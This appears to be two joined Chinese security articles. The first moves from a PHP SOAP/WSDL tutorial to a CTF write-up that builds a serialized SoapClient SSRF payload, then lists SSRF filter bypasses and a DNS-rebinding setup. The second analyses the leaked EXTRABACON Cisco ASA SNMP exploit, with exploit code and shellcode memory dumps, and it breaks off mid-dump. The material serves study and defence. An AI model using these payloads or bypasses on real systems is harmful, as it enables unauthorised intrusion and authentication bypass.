* WebServices用作任何平台、任何语言之间的网络交互，是一种标准，或者说方法
* 具体的实现依靠WSDL文档（也可以没有）+Soap协议，客户端和服务器端共享一份WSDL文档，其中包含了双方沟通所需要的操作（函数）声明、操作（函数）参数、命名空间等等；相当于一份双方合同
* Soap协议是建立在HTTP协议+XML格式的数据包上的
可能你实在看不懂，那就看下面的理解一下吧~
### 无WSDL的Soap通信
开两台虚拟机，客户端192.168.0.138，服务端192.168.0.131；实验前记得两边的PHP开启Soap扩展，phpinfo能查询到
该例子来源于[菜鸟教程](https://www.runoob.com/webservices/ws-example.html)
<?php //Server.php保存在服务端// SiteInfo 类用于处理请求Class SiteInfo{ /** * 返回网站名称 * @return string * */ public function getName(){ return "Hello!<br>"; } public function getUrl(){ return "www.runoob.com"; }}// 创建 SoapServer 对象$s = new SoapServer(null,array("location"=>"http://localhost/Server.php","uri"=>"Server.php"));// 导出 SiteInfo 类中的全部函数$s->setClass("SiteInfo");// 处理一个SOAP请求，调用必要的功能，并发送回一个响应。$s->handle();?>
<?php//Client.php保存在客户端try{ // non-wsdl方式调用web service // 创建 SoapClient 对象 $soap = new SoapClient(null,array('location'=>"http://192.168.0.131/Server.php",'uri'=>'Server.php')); // 调用函数 $result1 = $soap->getName(); $result2 = $soap->__soapCall("getUrl",array()); echo $result1."<br/>"; echo $result2;} catch(SoapFault $e){ echo $e->getMessage();}catch(Exception $e){ echo $e->getMessage();}
访问Client.php，能看到下面的效果
查看Wireshark流量得知，no-wsdl下的通信规则相当淳朴:joy:
请求对象的方法
随后返回方法执行后的结果
### WSDL的Soap通信
该环境是Win10+phpstudy下的，目录为soap/
先从网上找到`SoapDiscovery.class.php`这一公共模板文件（当然也可以找我要哈哈），修改一下：
写一个提供服务的类或者函数
<?php//Service.phpclass Service { public function HelloWorld () { return "Hello"; } public function Add ( $a, $b ) { return $a + $b; }}/* 如果要生成wsdl文件注释下面的语句 *///$server = new SoapServer ( 'Service.wsdl', array ( 'soap_version' => SOAP_1_2 ) );//$server->setClass ( "Service" ); //注册Service类的所有方法 //$server->handle (); //处理请求?>
写一个文件，用来生成wsdl文件
<?php//wsdl.phpinclude("Service.php");include("SoapDiscovery.class.php");$disco = new SoapDiscovery ( 'Service', 'soap' ); //第一个参数是类名（生成的wsdl文件就是以它来命名的），即Service类，第二个参数是服务的名字（这个可以随便写）。$disco->getWSDL ();?>
成功的话生成的文件长这个样子
然后自己写个服务端文件
<?php//Service.phpclass Service { public function HelloWorld () { return "Hello"; } public function Add ( $a, $b ) { return $a + $b; }}/* 如果要生成wsdl文件注释下面的语句 */$server = new SoapServer ( 'Service.wsdl', array ( 'soap_version' => SOAP_1_2 ) );$server->setClass ( "Service" ); //注册Service类的所有方法 $server->handle (); //处理请求?>
客户端文件
<?php//Client.phpheader ( "Content-Type: text/html; charset=utf-8" );ini_set ( 'soap.wsdl_cache_enabled', "0" ); //关闭wsdl缓存$client = new SoapClient ('http://localhost/soap/Service.php?wsdl');$client->__setLocation('http://localhost/soap/Service.php');//print_r($client->__getFunctions());//查询函数//print_r($client->__getTypes());//echo $client->HelloWorld();echo $client->Add ( 28, 2 );//echo $client->__soapCall ( 'Add', array ( 28, 2 ) )//或这样调用//echo $result;?>
先访问`http://localhost/soap/service.php`开启服务，然后再访问`http://localhost/soap/client.php`
抓包看看流程，一共分为四步
**第一步**
访问服务端要求WSDL文档。很明显看URI也知道，找的是wsdl文件（合同必须两个人看才行呀，服务端看了客户端也要看）
**第二步**
服务端把WSDL文档全发回来了；和本地的WSDL对照一下，Van全一致:joy:
正好，根据这个包来详细讲解一下WSDL吧~
**WSDL总览**
**\ <message\>元素**
类比函数所需的参数与返回值的类型说明书。接下来开始翻译~
第1-2行，Helloworld函数的所需参数（Request顾名思义，要调用这个函数），这里是无
第3行，Helloworld函数的返回值（Response顾名思义，这个函数的返回值）
第4行，返回的函数名叫Helloworld，返回值类型是xsd:string
第6-9行，Add函数的所需参数;第一个参数为a，类型是xsd:string;第二个参数为b，类型是xsd:string
第10-12行，Add函数的返回值；返回的函数名为Add，返回值类型是xsd:string
<message name="HelloWorldRequest"></message><message name="HelloWorldResponse"><part name="HelloWorld" type="xsd:string" /></message><message name="AddRequest"><part name="a" type="xsd:string" /><part name="b" type="xsd:string" /></message><message name="AddResponse"><part name="Add" type="xsd:string" /></message>
**\ <porttype\>元素**
类比函数库，标签的`name`字段为”函数库名称”;我们之前类里定义的方法，这里都有体现
<portType name="soapPort"><operation name="HelloWorld"><input message="tns:HelloWorldRequest" /><output message="tns:HelloWorldResponse" /></operation><operation name="Add"><input message="tns:AddRequest" /><output message="tns:AddResponse" /></operation></portType>
每一个`<operation>`标签都是一个函数：
其中`name`字段为函数名称，`input`字段为函数的参数们，`output`字段为函数的返回值
**\ <bind\>元素**
将函数与Soap绑定，这样才能被Soap协议带出与实现。
例如第3行的`operation`标签开始指示函数与特定SOAP实现的绑定；第4行`soapaction`标识了该函数是隶属于urn:soap的命名空间下，Service类的Helloworld函数
第5-6行`input`和第7-9行`output`分别为函数的参数和返回值两个方向，其中`body`指定SOAP编码样式和与指定服务关联的名称空间URN
<binding name="soapBinding" type="tns:soapPort"><soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http" /><operation name="HelloWorld"><soap:operation soapAction="urn:soap#Service#HelloWorld" /><input><soap:body use="encoded" namespace="urn:soap" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" /></input><output><soap:body use="encoded" namespace="urn:soap" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" /></output></operation><operation name="Add"><soap:operation soapAction="urn:soap#Service#Add" /><input><soap:body use="encoded" namespace="urn:soap" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" /></input><output><soap:body use="encoded" namespace="urn:soap" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" /></output></operation></binding>
**\ <service>元素**
定义Web服务支持的端口。哎呀我来翻译一下算了:joy:
我这个名为`soap`的服务，使用的是名为`soapport`的函数库（\<porttype\>元素定义），该函数库和名为`tns:soapBinding`的Soap服务所绑定（\<bind\>元素定义），你可以从`http://:wsdl.php`访问我这个服务
<service name="soap"><documentation /><port name="soapPort" binding="tns:soapBinding"><soap:address location="http://:wsdl.php" /></port></service>
现在是不是发现WSDL很简单呢~:laughing:
**第三步**
客户端看了WSDL文档知道该发哪些参数了，于是乎~
把Add函数需要的参数通过Soap协议发给服务器端
**第四步**
然后服务器端收到参数后处理，再通过Soap协议把函数的返回值发了回来，整个交流结束~
### 攻击
一道很出名的CTF题目，bestphp’s revenge
先补充几个知识点吧~
* * *
<?php$target = "http://127.0.0.1/flag.php";$attack = new SoapClient(null,array('location' => $target, 'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n", 'uri' => "123"));var_dump($attack);//$payload = urlencode(serialize($attack));//echo $payload;?>
执行后的结果如下，是一个名为SoapClient的对象实体
C:\phpstudy_pro\WWW\hack.php:6:object(SoapClient)[1] public 'uri' => string '123' (length=3) public 'location' => string 'http://127.0.0.1/flag.php' (length=25) public '_user_agent' => string 'N0rth3tyCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4' (length=56) public '_soap_version' => int 1
* * *
SoapClient类的`__call()`方法的奇技淫巧：
<?php$a = new SoapClient(null,array('uri'=>'http://192.168.0.136:2333', 'location'=>'http://192.168.0.136:2333/66'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a();//访问一个不存在的方法，触发__call魔法函数?>
这就直接发包了！
* * *
再来看这道题，只有两个文件，index.php和flag.php
//index.php<?phphighlight_file(__FILE__);$b = 'implode';call_user_func($_GET[f],$_POST);session_start();if(isset($_GET[name])){ $_SESSION[name] = $_GET[name];}var_dump($_SESSION);$a = array(reset($_SESSION),'welcome_to_the_lctf2018');call_user_func($b,$a);?>
//flag.phpsession_start();echo 'only localhost can get flag!';$flag = 'LCTF{*************************}';if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; }only localhost can get flag!
flag.php说明了获得flag的条件，必须通过127.0.0.1访问才行。这不就是在考SSRF嘛？同时也出现了session_start函数和Session数组可编辑，很明显就是告诉你可以自己设置PHP处理器来反序列化攻击；加上补充的知识点，一下子就出来了思路
> 通过反序列化触发SoapClient类的__call魔术方法，达到127.0.0.1访问flag.php的SSRF攻击效果
利用call_user_func函数，传入GET参数f=session_start和POST数据serialize_handler=php_serialize，这样就执行了
> session_start([‘serialize_handler’=>’php_serialize’])
成功修改了PHP处理器
同时写Payload如下，生成后作为GET参数name的值发出去即可
<?php$target = "http://127.0.0.1/flag.php";$attack = new SoapClient(null,array('location' => $target, 'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n", 'uri' => "123"));$payload = urlencode(serialize($attack));echo $payload;?>
别忘了记得加个`|`
>
> |O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID%3Dtcjr6nadpk3md7jbgioa6elfk4%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
接下来该思考如何触发SoapClient这个对象实体…有个小细节
`call_user_func()`函数如果传入的参数是`array`类型的话，会将数组的成员当做类名和方法。
这里可以先用`extract()`将b覆盖成`call_user_func()`，`reset($_SESSION)`就是`$_SESSION['name']`（reset的作用就是重置数组指针至开头），我们可以传入`name=SoapClient`，那么最后`call_user_func($b,
$a)`就变成`call_user_func(array('SoapClient','welcome_to_the_lctf2018'))`,即`call_user_func(SoapClient->welcome_to_the_lctf2018)`；`SoapClient`对象实体中没有`welcome_to_the_lctf2018`这个方法，就会调用魔术方法`__call()`从而发包
按下图发包即可
最后把回应的Cookie复制，我们用这个Cookie去访问就能拿到Flag啦
## 绕过
### **@绕过**
URL的完整格式是
[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]
所以你访问
> <a href=”http://[email protected]″”>http://[email protected]
和
> http://1.1.1.1
效果是一样滴，因为人家解析的本来就是@后面的服务器地址
### **进制绕过**
以PHP为例，一般后端用正则匹配IP长这个样子:
$str = '';$isMatched = preg_match_all('/((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}/', $str, $matches);var_dump($isMatched, $matches);
所以你可以换成各种进制进行绕过，以`192.168.0.1`为例（这个[网址](http://mo.ab126.com/system/2859.html)可以进行在线转换）
十六进制 = C0A80001
十进制 = 3232235521
二进制 = 11000000101010000000000000000001
### **重定向绕过 &短网址绕过**
一般来说，PHP里的重定向长这样
<?phpfunction redirect($url){ header("Location: $url"); exit();}
如果`192.168.0.1.xip.io`都被过滤了，但是重定向没有被控制；你可以去[TINYURL](https://tinyurl.com/app/myurls)生成一个短URL
访问短URL的流程就是
`https://tinyurl.com/4czmrv9d`->302跳转->成功访问`192.168.0.1`
这样就成功绕过了检查
### **冷门协议绕过**
如果是php，可以试试php所有的伪协议以及冷门的非HTTP协议
php://系列zip:// & bzip2:// & zlib://系列data://phar://file:///dict://sftp://ftp://tftp://ldap://gopher://
### **特殊用法绕过**
下面这俩可以试试绕过127.0.0.1:80，不一定有效
http://[::]:80/ http://0000::1:80/http://0/
中文句号也可以试试
192。168。0。1
### **xip.io和xip.name**
这俩东西叫泛域名解析，这篇[文章](https://cloud.tencent.com/developer/article/1825757)很详细地描述了泛域名的配置；想要具体了解的可以去看看
一旦配置了这个服务，会出现下面这样的情况
10.0.0.1.xip.io # 解析到 10.0.0.1www.10.0.0.2.xip.io # www 子域解析到 10.0.0.2mysite.10.0.0.3.xip.io # mysite 子域解析到 10.0.0.3foo.bar.10.0.0.4.xip.io # foo.bar 子域解析到 10.0.0.4-----------------------------------------------------------------10.0.0.1.xip.name # 解析到 10.0.0.1www.10.0.0.2.xip.name # www 子域解析到 10.0.0.2mysite.10.0.0.3.xip.name # mysite 子域解析到 10.0.0.3foo.bar.10.0.0.4.xip.name # foo.bar 子域解析到 10.0.0.4
### **Enclosed alphanumerics字符集绕过**
你能在这个[网站](https://www.mp51.vip/Code/AllUniCode?quwei=2460-24FF)看到这个字符合集，挑选合适的字符就行
https://ⓦⓦⓦ.ⓔⓣⓔsⓣⓔ.ⓒⓄⓜ/是完全等同于https://www.eteste.com/
当然，适用于域名而不适用与直接IP访问
### **DNS重绑定**
在这里强烈推荐一个外国友人写的[靶场](https://github.com/incredibleindishell/SSRF_Vulnerable_Lab)，基本涵盖了ssrf的所有高级绕过！有兴趣的可以瞅瞅
我们这里就需要用到它的重绑定关卡，其解析也在[这里](https://github.com/incredibleindishell/SSRF_Vulnerable_lab/tree/master/www/DNS%20Rebinding%20based%20Bypass)
**业务理解**
把这一关PHP源码中的重点代码贴出来：
<?php/*This code is copied from 33c3ctf CTF*/function get_contents($url) { $disallowed_cidrs = [ "127.0.0.1/24", "169.254.0.0/16", "0.0.0.0/8" ]; $url_parts = parse_url($url); if (!array_key_exists("host", $url_parts)) { die("<p><h3 style=color:red>There was no host in your url!</h3></p>"); } echo '<table width="40%" cellspacing="0" cellpadding="0" class="tb1" style="opacity: 0.6;"> <tr><td align=center style="padding: 10px;" >Domain: - '.$host = $url_parts["host"].''; if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { $ip = $host; } else { $ip = dns_get_record($host, DNS_A); if (count($ip) > 0) { $ip = $ip[0]["ip"]; echo "<br>Resolved to IP: - {$ip}<br>"; } else { die("<br>Your host couldn't be resolved man...</h3></p>"); } } foreach ($disallowed_cidrs as $cidr) { if (in_cidr($cidr, $ip)) { die("<br>That IP is a blacklisted cidr ({$cidr})!</h3></p>"); // Stop processing if domain reolved to private/reserved IP } } echo "<br>Domain IP is not private, Here goes the data fetched from remote URL<br> </td></tr></table>"; echo "<br><textarea rows=10 cols=50>".file_get_contents($url)."</textarea>"; }.....?>
简单叙述一下逻辑：
1. 判定你给的IP或者域名解析后的IP是否在黑名单中
2. 若在，退出报错
3. 若不在，再次访问你给的IP或者域名解析后的IP；执行后续业务模块
所以思路很简单：你只需要有个域名，但是它映射两个IP；同时设置TTL为0，能方便两个IP即刻切换
效果类比：你访问`wwfcww.xyz`这个域名，第一次解析的IP是192.168.0.1；而第二次解析的IP是127.0.0.1
这个操作，就叫做`DNS重绑定`
**需要知道的**
来自[这里](https://blog.csdn.net/u011721501/article/details/54667714)，总结+补充亿点
**TTL是啥？**
TTL值全称是“生存时间（Time To Live)”，简单的说它表示DNS记录在DNS服务器上缓存时间，数值越小，修改记录各地生效时间越快。
当各地的DNS(LDNS)服务器接受到解析请求时，就会向域名指定的授权DNS服务器发出解析请求从而获得解析记录；该解析记录会在DNS(LDNS)服务器中保存一段时间，这段时间内如果再接到这个域名的解析请求，DNS服务器将不再向授权DNS服务器发出请求，而是直接返回刚才获得的记录；而这个记录在DNS服务器上保留的时间，就是TTL值
常见的设置TTL值的场景：
• 增大TTL值，以节约域名解析时间
• 减小TTL值，减少更新域名记录时的不可访问时间
#### 公网DNS服务器的缓存问题
即使我们在前面实现的时候设置了TTL为0（按道理每次都会直接请求NS），但是有些公共DNS服务器，比如114.114.114.114还是会把记录进行缓存，完全不按照标准协议来，遇到这种情况是无解的。但是8.8.8.8是严格按照DNS协议去管理缓存的，如果设置TTL为0，则不会进行缓存，从效果上来看，每次dig都会跑去我们的NS服务器上去查询一遍。
**本地DNS缓存**
对于本地的DNS服务器来说，DNS解析有以下几个过程
1. 查询本地DNS服务器(/etc/systemd/resolved.conf或者/etc/resolv.conf，见后文分析)
2. 如果缓存未过期，则返回缓存的结果；
3. 无缓存或缓存过期，则请求远程DNS服务器
所以有时候明明TTL也确实为0，还是需要等待一段时间的问题所在；你可能得关掉本地的DNS缓存
**正常情况**
MAC与Windows系统默认进行DNS缓存；Linux系统默认不进行DNS缓存
同时，IP为8.8.8.8的DNS地址，本地不会进行DNS缓存
1. Java默认不存在被DNS Rebinding绕过风险（TTL默认为10）
2. PHP默认会被DNS Rebinding绕过
3. Linux默认不会进行DNS缓存
但是，这都是“默认”情况；实际上Linux现在自带相当多的DNS缓存方法与工具，也会进行缓存
比如看[这个](https://cloud.tencent.com/developer/article/1830976)来学习一下如何彻底关掉新版Ubuntu的本地DNS功能
**办法**
**使用在线重绑定**
ceye.io自带这个功能，但是效果出奇差
除了这个还有[rebinder](https://lock.cmpxchg8b.com/rebinder.html),效果也一样差-=-
输入你想交替生成的IP，它就会给你个公网域名啦
**自建！（需要一定的路由知识）**
因为公网DNS服务器有诸多限制，在线重绑定也很烂…自己动手丰衣足食！
需要以下准备材料：
* 很Nice的VPS
* 一个域名，个人推荐去[hostinger](https://hpanel.hostinger.com/)买个
思路很简单：
* VPS搭建好NS服务器所需要的一切，即把它变成一个DNS服务器
* 修改你域名的NS服务器，指向你的VPS
如此一来，一旦服务器想要解析你的域名->被指向到你的VPS->VPS自定义解析IP->返回自定义解析的IP
Hostinger按下面这么设置，你的NS服务器改成
> ns1.你的VPS地址.nip.io
>
> ns2.你的VPS地址.nip.io
然后部署这个[项目](https://github.com/makuga01/dnsFookup)到你的VPS上；它很多使用细节没写，补充一下：
* 关掉占用你VPS的53端口的一切服务
* 该项目自带域名已过期，自己用Grep和Sed把所有自带的域名清除
* flask运行改为任何IP，即0.0.0.0
* 任何localhost与127.0.0.1均改为你的VPS地址
还有很多BUG…还是有问题可以私我，我把改好的发你~
随后访问你VPS的项目按说明配置好，然后`dig 生成的域名`，就能看见下面的交互记录啦
但是用这个项目的过程中，你可能会遇到这种情况：一直dig，它的IP并不会变（项目确实配置好的情况）
一方面，可能确实是网络堵塞；一方面，你得看看是不是本地DNS服务器搞得鬼：
`dig 生成的域名 @你的VPS`，这样就能强制使用远程NS
你看，这样就正常了..说明你需要关掉本地的DNS服务！看一下这个[链接](https://cloud.tencent.com/developer/article/1830976),找到DNS的配置文件
简而言之就是：
> `/etc/resolv.conf` 若指向 `/run/systemd/resolve/stub-resolv.conf`,
> `/usr/lib/systemd/resolv.conf`, `/run/systemd/resolve/resolv.conf`
> 之一，DNS配置文件有效在`/etc/systemd/resolved.conf`
>
> 否则在`/etc/resolv.conf`
我的长这个样子，也就是说现在是systemd在管；那么想修改DNS配置得去`/etc/systemd/resolved.conf`
在`DNS`这一栏填上你的VPS
执行以下命令
systemctl restart systemd-resolved.service #重启DNS服务systemd-resolve --status #查看DNS服务
成功！
然后再修改`/etc/resolv.conf`
执行如下命令
sudo /etc/init.d/networking restart # 重启网卡sudo /etc/init.d/resolvconf restart # 重启DNS（可能没有）
成功！
**实操**
这个[靶场](https://github.com/incredibleindishell/SSRF_Vulnerable_Lab)搭好后，来到这个路径`http://192.168.85.138:9000/dns_rebinding.php`；也就是开头咱们说的那一关试验一下
>
> [http://a946635e90c24434850795a27fbb54cb.你的域名/local.txt](http://a946635e90c24434850795a27fbb54cb.%E4%BD%A0%E7%9A%84%E5%9F%9F%E5%90%8D/local.txt)
成功！ | 社区文章 |
# 揭开思科ASA防火墙网络军火的面纱（上）
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：360 MeshFire Team**
**稿费：700RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**
**
Shadow Brokers
曝出的EXTRABACON工具中包含思科ASA防火墙远程代码执行的0DAY漏洞，本文分析了ASA漏洞CVE-2016-6366的产生原因和利用原理，并对工具中的EXP的执行过程进行了深入分析，展示了网络设备漏洞攻防的分析和调试技巧和方法。
#
**0x01 漏洞背景**
今年8月13号，入侵美国国家安全局（NSA）的组织Shadow
Brokers在其Twitter微博上公开了大量黑客工具的链接，并将部分放在网上进行拍卖。根据Shadow
Brokers组织的描述，这些工具原属于著名的黑客团队方程式组织（Equation
Group），该组织可能与震网(stuxnet)、Regin、Flame等攻击有关，被外界怀疑受雇于美国国家安全局。
在此次公开的文件中包含了一个Cisco
ASA防火墙的远程代码执行0DAY，方程式组织将这个exploit命名为EXTRABACON。在EXTRABACON遭到曝光后，思科也立刻承认了在其多个版本的ASA产品中存在相应的漏洞，漏洞编号为CVE-2016-6366。
EXTRABACON利用的是思科ASA防火墙中处理SNMP（简单网络管理协议）代码的漏洞，本质是一个缓冲区溢出。从利用层面说来，攻击者可以向系统发送精心构造的SNMP包，一旦漏洞利用成功，攻击者则无需输入正确的登录账户和密码，就可以通过ASA的Telnet和SSH身份认证。
从公开的EXTRABACON代码来看，可对Cisco ASA
Software版本号为8.0(2)~8.4(4)的系统进行利用，但是后续网络上不断放出了针对高版本ASA系统的利用代码。
**0x02 Cisco ASA 系统分析**
在实验环境下，通过GNS网络模拟器模拟线上Cisco
ASA设备，分析中采用8.02版本的固件作为样本。使用固件分析工具binwalk提取和解压文件，发现Cisco
ASA底层实际上是一个标准的linux操作系统，这样逆向出来的汇编自然也是x86体系结构的。
通过对解压出的linux系统进行分析，可以分析出Cisco ASA防火墙系统启动加载流程如下：
在这里我们最关注的是最后三个步骤，其中lina是Cisco
ASA防火墙的主程序，lina_monitor以创建子进程的方式启动lina程序，并对lina进程进行监视和管控。rcS作为一个shell脚本控制着lina_monitor的启动方式，如传入的参数控制，基本包含了ASA所有的业务逻辑代码，在系统内存中，lina将fork多个子进程协同工作，如下图所示：
其中存在漏洞的代码运行在lina_monitor的子进程，也就是上图PID为221的lina进程中。在Cisco
ASA系统内置gdbserver，可用作对此漏洞进行远程动态调试，使用gdbserver远程调试Cisco ASA示意图如下：
**0x03 漏洞分析**
****
**1．exp分析**
此漏洞的exploit源码由Python编写，其中包含三个主要功能模块：
1）overflow漏洞利用数据生成，关键代码如下：
head = '1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9'
wrapper = sc.preamble_snmp
if self.params.msg:
wrapper += "." + sc.successmsg_snmp
wrapper += "." + sc.launcher_snmp
wrapper += "." + sc.postscript_snmp
overflow = string.join([head, "95", wrapper, sc.my_ret_addr_snmp, sc.finder_snmp], ".")
其中sc是动态加载的shellcode模块，在构造overflow前exp会确认目标ASA的系统版本，并匹配对应版本的shellcode。
wrapper变量被组装了shellcode代码，整个造成溢出的数据需要有一个固定值的head，这段必须使用OID
'1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9'
，该OID属于sysDescr，在SNMP协议中是获取目标系统的一些描述信息，比如系统全名或硬件版本标识等。
字段”95”表明后面还接有95字节的数据，my_ret_addr_snmp是溢出后覆盖的函数返回地址，finder_snmp是一段跳转代码。
2）payload控制代码数据生成，关键代码如下：
payload += sc.payload_PMCHECK_DISABLE_byte
payload += sc.payload_AAAADMINAUTH_DISABLE_byte
这段拼接了shellcode中payload代码，控制方法为更改telnet和ssh的认证流程。
3）构造SNMP数据包，关键代码如下：
exba_msg = SNMP(version=self.params.version,community=self.params.community,PDU=SNMPbulk(id=ASN1_INTEGER(self.params.request_id),max_repetitions=1,varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.2.1.1.1"),value=ASN1_STRING(payload)),SNMPvarbind(oid=ASN1_OID(overflow)),]))
在SNMP构造的过程中，overflow被填充到了SNMP报文的OID字段，通过控制OID输入字符长度来溢出栈。
通过构造的SNMP报文，可以得知，触发该漏洞必须满足2个约束条件：
1）攻击报文的源IP地址必须为SNMP指定的HOST地址。
2）攻击者需输入正确的SNMP的community。
若其中任何一个条件不满足，ASA将直接丢弃SNMP报文不予处理。在调试过程中，我们也确认如果不满足这两个条件中任意一个则无法跳转到漏洞代码的执行分支。
**2．协议分析**
Exp在攻击过程中会发送两个SNMP报文，第一个是查询目标ASA系统版本，其中包含了查询目标Cisco ASA设备版本号的OID，在测试环境中抓包显示如下：
查询操作成功后，ASA设备会返回一个数据包告诉对方自己的版本号，从返回的数据包，显示已成功查询到目标设备的系统版本：
紧接着exp会发送第二个报文，该报文是SNMPv2版本中定义的新分组类型get-bulk-request，用来高效率的从代理进程读取大块数据，其中包含了两个object条目，可以看到之前构造的payload数据被填充到了第一个条目的value字段中，造成溢出的overflow被填充到了第二个条目的oid字段中：
**3．代码分析**
静态分析
将Cisco ASA
8.02系统中的/asa/bin/lina文件加载到IDA中进行静态分析，通过gdb连接lina进程，通过构造特殊字符的shellcode查看实时的系统栈结构信息，查看exp执行溢出后系统栈崩溃信息，可以初步定位函数地址，不断设置断点进行跟进调试，逐渐定位到发生漏洞的函数为sub_89F4750，对其反编译后的部分代码如下：
在sub_89F4750函数中，调用了sub_90A32A0函数，这个函数的主要功能是将第二个参数指向的源地址数据copy到第一个参数指向的目的地址中，第三个参数大小影响了copy的数据长度。继续跟进到sub_90A32A0函数中查看代码：
在这部分代码中，很容易分析出for循环实际实施了内存copy操作，依次从源地址中读出4字节的数据写入到目的地址中，每一次循环将copy
64字节长度的数据，其中这个函数传入的第三个参数，也就是影响copy长度的a3变量，在循环开始时被除以4后赋值予i变量，而i变量控制循环次数，所以sub_90A32A0函数的总copy长度可能不等于第三个参数所指定值。再看一下该函数接下来的代码：
先看第一个if语句，若经过前一个阶段的for循环后，若i变量依旧不为0，则执行if内的代码块，这段代码块的作用将会从源地址中取出i*4字节长度的数据copy到目的地址中。
第二个if语句判断条件是将传入的a3参数与整数3按位与操作，其语义目的是为了过滤掉4的倍数，也就是说若a3非4的倍数将执行第二个if的代码块，这段代码的作用是从源地址中向目的地址copy参数a3与整数3按位与操作后的整型值的长度数据。
由此可见在这个函数中的三个主要流程控制的代码块中都可能发生内存copy操作，将这段IDA反编译的sub_90A32A0函数翻译为同功能的标准C语言可能更直观一些，其代码如下：
至此可以分析出sub_89F4750函数通过调用sub_90A32A0这个内存copy函数，将从上层函数传入的地址指针a6指向的源地址的数据copy到本地局部变量v32中，其copy长度也由上层函数传入的参数决定，而不是由本地局部变量v32的内存空间长度来做控制，上层传入参数很容易超出本地局部变量v32内存长度发生缓冲区溢出风险。
**动态调试**
通过Cisco ASA串口连接gdbserver进行动态调试，在发送触发漏洞的数据包前先对lina进程中copy
SNMP报文oid字段的sub_90A32A0函数调用前后下断点，以方便观察内存，如下图所示：
第二个SNMP报文成功触发了这两个断点，通过查询ESP寄存器中的值取得栈顶地址：
(gdb) i r esp
esp 0xab7b0fd0 0xab7b0fd0
由于遵循_stdcall约定，栈顶地址加上8字节的偏移量可以读取传入到sub_90A32A0函数的第三个参数的值：
(gdb) x /wx 0xab7b0fd8
0xab7b0fd8: 0x0000005f
可以看到其值的十进制正是“95”，也就是在“exp分析”一节中提到的overflow中后接shellcode的length值。将这个length带入到sub_90A32A0函数中分析出总copy的数据长度为：
总长度 = 第一阶段64字节 + 第二阶段28字节 + 第三阶段3字节 = 95字节
三个阶段copy的数据长度总和也恰好是95字节。虽然SNMP的oid字段中的length值可直接控制内存copy长度，但是并不是没有长度限制，通过不断增大oid的shellcode长度以及对应的length值。我们发现ASA系统限制了oid的最大长度为128字节，当超过这个长度ASA会丢弃这个SNMP报文不予处理。
由栈顶地址加上40字节偏移量，从上文提到的局部变量v32所指向的内存空间开始打印，如下所示的系统栈内存分布情况，其中红色部分(0x089f672c)为sub_89F4750函数的返回地址：
(gdb) x /30wx 0xAB7B0FF8
0xab7b0ff8: 0x00000000 0x089c8a2f 0xab7b75d8 0x00000000
0xab7b1008: 0x00000060 0x0000005f 0x000000a1 0x00000010
0xab7b1018: 0xab7b1048 0x089d9326 0x00000000 0x00000060
0xab7b1028: 0xab7b1058 0x0892ee82 0x0000005e 0x00000010
0xab7b1038: 0x00000040 0x00000010 0x00000000 0x00000004
0xab7b1048: 0xab7b10a8 0x089f672c 0x00000002 0xab7a1400
0xab7b1058: 0x00000004 0x000000a1 0x00000009 0xab7b75d0
0xab7b1068: 0x00000000 0x090a1686
当sub_90A32A0函数完成copy动作后再看相同内存空间中的数据变化，其中蓝色部分(0x89b80000–
0x00000090)是写入的shellcode，红色部分(0x08d3de9b)是被覆盖的函数返回地址：
(gdb) x /30wx 0xAB7B0FF8
0xab7b0ff8: 0x89b80000 0x35ad3ac2 0xa5a5a5a5 0x8904ec83
0xab7b1008: 0xe5892404 0x3158c583 0xb3db31c0 0xbff63110
0xab7b1018: 0xaaaaaaae 0xa5a5f781 0x8b60a5a5 0x01c82484
0xab7b1028: 0x32040000 0xc361d0ff 0x90909090 0x90909090
0xab7b1038: 0x90909090 0x90909090 0x90909090 0x90909090
0xab7b1048: 0x90909090 0x08d3de9b 0x14247c8b 0xe0ff078b
0xab7b1058: 0x00000090 0x000000a1 0x00000009 0xab7b75d0
0xab7b1068: 0x00000000 0x090a1686
打印被覆盖的函数返回地址所指向的代码：
(gdb) x /i 0x08d3de9b
0x08d3de9b:jmp*%esp
可看到shellcode通过跳转到ESP的方式实现精确定位将要执行的代码。接下来打印0xab7b1050地址处的代码，也就是sub_89F4750函数栈帧弹出后，ESP所指向地址：
(gdb) x /5i
0xab7aeed0 0xab7b1050: mov 0x14(%esp),%edi 0xab7b1054: mov (%edi),%eax 0xab7b1056: jmp *%eax 0xab7b1058: nop 0xab7b1059: add %al,(%eax)
此段代码是将sub_89F4750函数的局部变量v32指向的内存地址读取到了EAX寄存器中，读取出EAX中的值：
(gdb) i r eax
eax 0xab7b75d8 -1417972264
查看地址0xab7b75d8处的代码：
(gdb) x /18i 0xab7b75d8
0xab7b75d8: mov $0xad3ac289,%eax
0xab7b75dd: xor $0xa5a5a5a5,%eax
……
0xab7b7600: pusha
0xab7b7601: mov 0x1c8(%esp),%eax
0xab7b7608: add $0x32,%al
